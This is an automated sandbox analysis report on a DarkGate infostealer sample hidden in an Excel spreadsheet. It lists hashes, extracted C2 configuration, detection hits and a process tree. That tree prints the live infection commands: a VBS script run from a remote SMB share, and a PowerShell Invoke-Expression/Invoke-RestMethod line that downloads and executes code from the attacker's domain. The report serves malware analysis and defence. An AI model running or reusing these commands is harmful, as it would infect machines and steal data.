darkgate | 87ef4188917d7e4b3fc3b91a0b5a2634aeb71557e29239cb8b72a5d8369eaf76

Analysis

max time kernel
147s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
28/02/2024, 21:50

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General

Target
scan-28-02-24_2843.xlsx
Size 29KB
Sample240228-1pyvaseg67
SHA256 87ef4188917d7e4b3fc3b91a0b5a2634aeb71557e29239cb8b72a5d8369eaf76
MD5 9c1ebbb1a85ed19d809b78267ed9ab73
SHA1 dba2c5d28e61109fe42682c22d9cef0075f05283
SHA512 b7be6a97176a63d75dcd6330035dad65ecf32992918a4d98f5876a4f9c471d4bced6535b4b621a471b99643e35684dad760a5da6393276e6684118a16859e171
SSDEEP 768:wnEQpllh7tAafroiianGoHoJ+yWWn0WhtSY:nQJh7Lro4ntD+0ASY
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Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

cayennesxque.boo

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
true
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
ekoRFSqn
minimum_disk
50
minimum_ram
7000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 4 IoCs

resource	yara_rule
behavioral2/memory/1964-63-0x0000000005BC0000-0x0000000005F0F000-memory.dmp	family_darkgate_v6
behavioral2/memory/1964-64-0x0000000005BC0000-0x0000000005F0F000-memory.dmp	family_darkgate_v6
behavioral2/memory/4304-100-0x0000000005680000-0x00000000059CF000-memory.dmp	family_darkgate_v6
behavioral2/memory/4304-101-0x0000000005680000-0x00000000059CF000-memory.dmp	family_darkgate_v6

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2904	1584	WScript.exe	27
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	5028	1584	WScript.exe	27

Blocklisted process makes network request 8 IoCs

flow	pid	Process
41	4232	powershell.exe
42	4232	powershell.exe
44	4232	powershell.exe
45	4232	powershell.exe
59	760	powershell.exe
60	760	powershell.exe
61	760	powershell.exe
62	760	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 2 IoCs

pid	Process
1964	AutoIt3.exe
4304	AutoIt3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1584	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4232	powershell.exe
Token: SeDebugPrivilege	760	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
1584	EXCEL.EXE
1584	EXCEL.EXE
1584	EXCEL.EXE
1584	EXCEL.EXE
1584	EXCEL.EXE
1584	EXCEL.EXE
1584	EXCEL.EXE
1584	EXCEL.EXE
1584	EXCEL.EXE
1584	EXCEL.EXE
1584	EXCEL.EXE
1584	EXCEL.EXE
1584	EXCEL.EXE

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1584 wrote to memory of 2904	1584	EXCEL.EXE	95
PID 1584 wrote to memory of 2904	1584	EXCEL.EXE	95
PID 2904 wrote to memory of 4232	2904	WScript.exe	96
PID 2904 wrote to memory of 4232	2904	WScript.exe	96
PID 4232 wrote to memory of 1964	4232	powershell.exe	98
PID 4232 wrote to memory of 1964	4232	powershell.exe	98
PID 4232 wrote to memory of 1964	4232	powershell.exe	98
PID 1584 wrote to memory of 5028	1584	EXCEL.EXE	100
PID 1584 wrote to memory of 5028	1584	EXCEL.EXE	100
PID 5028 wrote to memory of 760	5028	WScript.exe	101
PID 5028 wrote to memory of 760	5028	WScript.exe	101
PID 760 wrote to memory of 4304	760	powershell.exe	103
PID 760 wrote to memory of 4304	760	powershell.exe	103
PID 760 wrote to memory of 4304	760	powershell.exe	103

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\scan-28-02-24_2843.xlsx"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1584
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "\\147.45.197.186\share\scan.vbs"
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'cayennesxque.boo/qdfjfvph')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4232
  - - C:\temp\AutoIt3.exe
      "C:\temp\AutoIt3.exe" script.a3x
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      PID:1964
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "\\147.45.197.186\share\scan.vbs"
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:5028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'cayennesxque.boo/qdfjfvph')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:760
  - - C:\temp\AutoIt3.exe
      "C:\temp\AutoIt3.exe" script.a3x
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      PID:4304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 8ef51b68725d9ddcda70f9f7ef24686ff3cb4a00f7d2dce79d10027ed63dfed5
MD5 56c43715e0e7fa58012d8a5769d8d568
SHA1 4370ca3436f2e3a95b47a728503a2c22a5a5fa39
SHA512 b8da8defb2080d04babc3e676cc9686c7f71b15eeca0e738ca75c9fb7af968eba8d3daff5bc2e31d471e26568df2f319ec1f4b00bf43ffb60460e5df787947ed
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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5019fa6d98b6916bd68c04e1c6f0085d7583a25f2c2ccf0c90af1e4686bb09a4
MD5 1bea0e7ccc10156e19292d05c6921f82
SHA1 8ee847fc160cdfad17dc94aa4e370ebe1a35625f
SHA512 8fd7e7e405e59c8ad35595562140011331552cef3537bc3238f1d3f17336a7364ce0b83568951e916f86d4e70bc51488021db13005ed7cf40da3b2b9f26546a9
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__PSScriptPolicyTest_yxgqsjrl.ztz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yxgqsjrl.ztz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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CaeDKGe

Path C:\Users\Admin\AppData\Roaming\CaeDKGe
Size 32B
SHA256 be796b22c903bf60693df6c8097522368179bdfcbf7984838cf70ac00cf24d85
MD5 abdfed2e8e36c069739dd9603f3f1a6c
SHA1 b129e88400c7e57891b576dc5f737bb7cb58ffa1
SHA512 18418a11622d70077c34f0e2b0308caeb10821dc613d6f2d530b9245cbab7a81a98cea49d8de0a9c0a0500ffa9edf17e909de99b0095dd0096146d9f2002daf1
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AutoIt3.exe

Path C:\temp\AutoIt3.exe
Size 872KB
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
SSDEEP 12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
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script.a3x

Path C:\temp\script.a3x
Size 468KB
SHA256 68acdae5c94dcfc0adaa1e1965166b3d2b4b8f1f889bce4610dbd1a0b72e2bc9
MD5 5dc0a5b884e44209941ec370406fbcc5
SHA1 b06cf5d11a5a7252afff61c1a787fb27ff126e28
SHA512 0e11e3281175b0c9bdbe2474830fcd38de05e18e6edac4c1b0cd9c334ced89738c2eaf1bdf90c5e6b08c20faf96a6bdd574a472f81bc84355b69fc60832cbb53
SSDEEP 6144:jbtHLRclphwMB3Vo2L/KNwwnuyCPExWEfBia5Kv0V6eGiuMtMuucLzrzPFrhTIne:jbtG+6VoHbVG6b4F2Wpi58es4BL
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test.txt

Path C:\temp\test.txt
Size 76B
SHA256 424ef27370eb401871db935fc3fa3811179f5786fe777182550299aa8230f6b6
MD5 8b428b9d5c33c6ed79386d4c10600cd8
SHA1 0f4bbafe0abe6cf3f3542d49a9eed5db84f9ef7e
SHA512 307e7d4228577259a4cc3874da09408e45401b46739ccaa96e0bd5a0f6aedb362dd97528aa2acc79d3698710d85c283afd0649ec412dcba8c9f8df1339e3b892
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memory/760-97-0x00007FFFF9920000-0x00007FFFFA3E1000-memory.dmp

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memory/760-77-0x000002DB6A3F0000-0x000002DB6A400000-memory.dmp

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memory/760-76-0x00007FFFF9920000-0x00007FFFFA3E1000-memory.dmp

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memory/1584-65-0x00007FF8218B0000-0x00007FF821AA5000-memory.dmp

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memory/1584-10-0x00007FF8218B0000-0x00007FF821AA5000-memory.dmp

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memory/1584-13-0x00007FF7DF220000-0x00007FF7DF230000-memory.dmp

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memory/1584-14-0x00007FF8218B0000-0x00007FF821AA5000-memory.dmp

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memory/1584-15-0x00007FF8218B0000-0x00007FF821AA5000-memory.dmp

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memory/1584-16-0x00007FF8218B0000-0x00007FF821AA5000-memory.dmp

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memory/1584-17-0x00007FF8218B0000-0x00007FF821AA5000-memory.dmp

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memory/1584-18-0x00007FF8218B0000-0x00007FF821AA5000-memory.dmp

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memory/1584-1-0x00007FF8218B0000-0x00007FF821AA5000-memory.dmp

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memory/1584-11-0x00007FF8218B0000-0x00007FF821AA5000-memory.dmp

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memory/1584-4-0x00007FF7E1930000-0x00007FF7E1940000-memory.dmp

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memory/1584-3-0x00007FF8218B0000-0x00007FF821AA5000-memory.dmp

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memory/1584-2-0x00007FF7E1930000-0x00007FF7E1940000-memory.dmp

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memory/1584-5-0x00007FF8218B0000-0x00007FF821AA5000-memory.dmp

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memory/1584-8-0x00007FF8218B0000-0x00007FF821AA5000-memory.dmp

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memory/1584-9-0x00007FF7E1930000-0x00007FF7E1940000-memory.dmp

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memory/1584-6-0x00007FF8218B0000-0x00007FF821AA5000-memory.dmp

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memory/1584-12-0x00007FF7DF220000-0x00007FF7DF230000-memory.dmp

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memory/1584-60-0x00007FF8218B0000-0x00007FF821AA5000-memory.dmp

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memory/1584-7-0x00007FF7E1930000-0x00007FF7E1940000-memory.dmp

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memory/1584-0-0x00007FF7E1930000-0x00007FF7E1940000-memory.dmp

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memory/1964-64-0x0000000005BC0000-0x0000000005F0F000-memory.dmp

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memory/1964-63-0x0000000005BC0000-0x0000000005F0F000-memory.dmp

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memory/1964-61-0x00000000046D0000-0x00000000056A0000-memory.dmp

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memory/4232-57-0x00007FFFF9920000-0x00007FFFFA3E1000-memory.dmp

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memory/4232-41-0x000001E541320000-0x000001E5414E2000-memory.dmp

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memory/4232-38-0x000001E540BD0000-0x000001E540BE0000-memory.dmp

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memory/4232-37-0x000001E540BD0000-0x000001E540BE0000-memory.dmp

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memory/4232-36-0x00007FFFF9920000-0x00007FFFFA3E1000-memory.dmp

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memory/4232-26-0x000001E540B10000-0x000001E540B32000-memory.dmp

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memory/4304-98-0x0000000004190000-0x0000000005160000-memory.dmp

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memory/4304-100-0x0000000005680000-0x00000000059CF000-memory.dmp

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memory/4304-101-0x0000000005680000-0x00000000059CF000-memory.dmp

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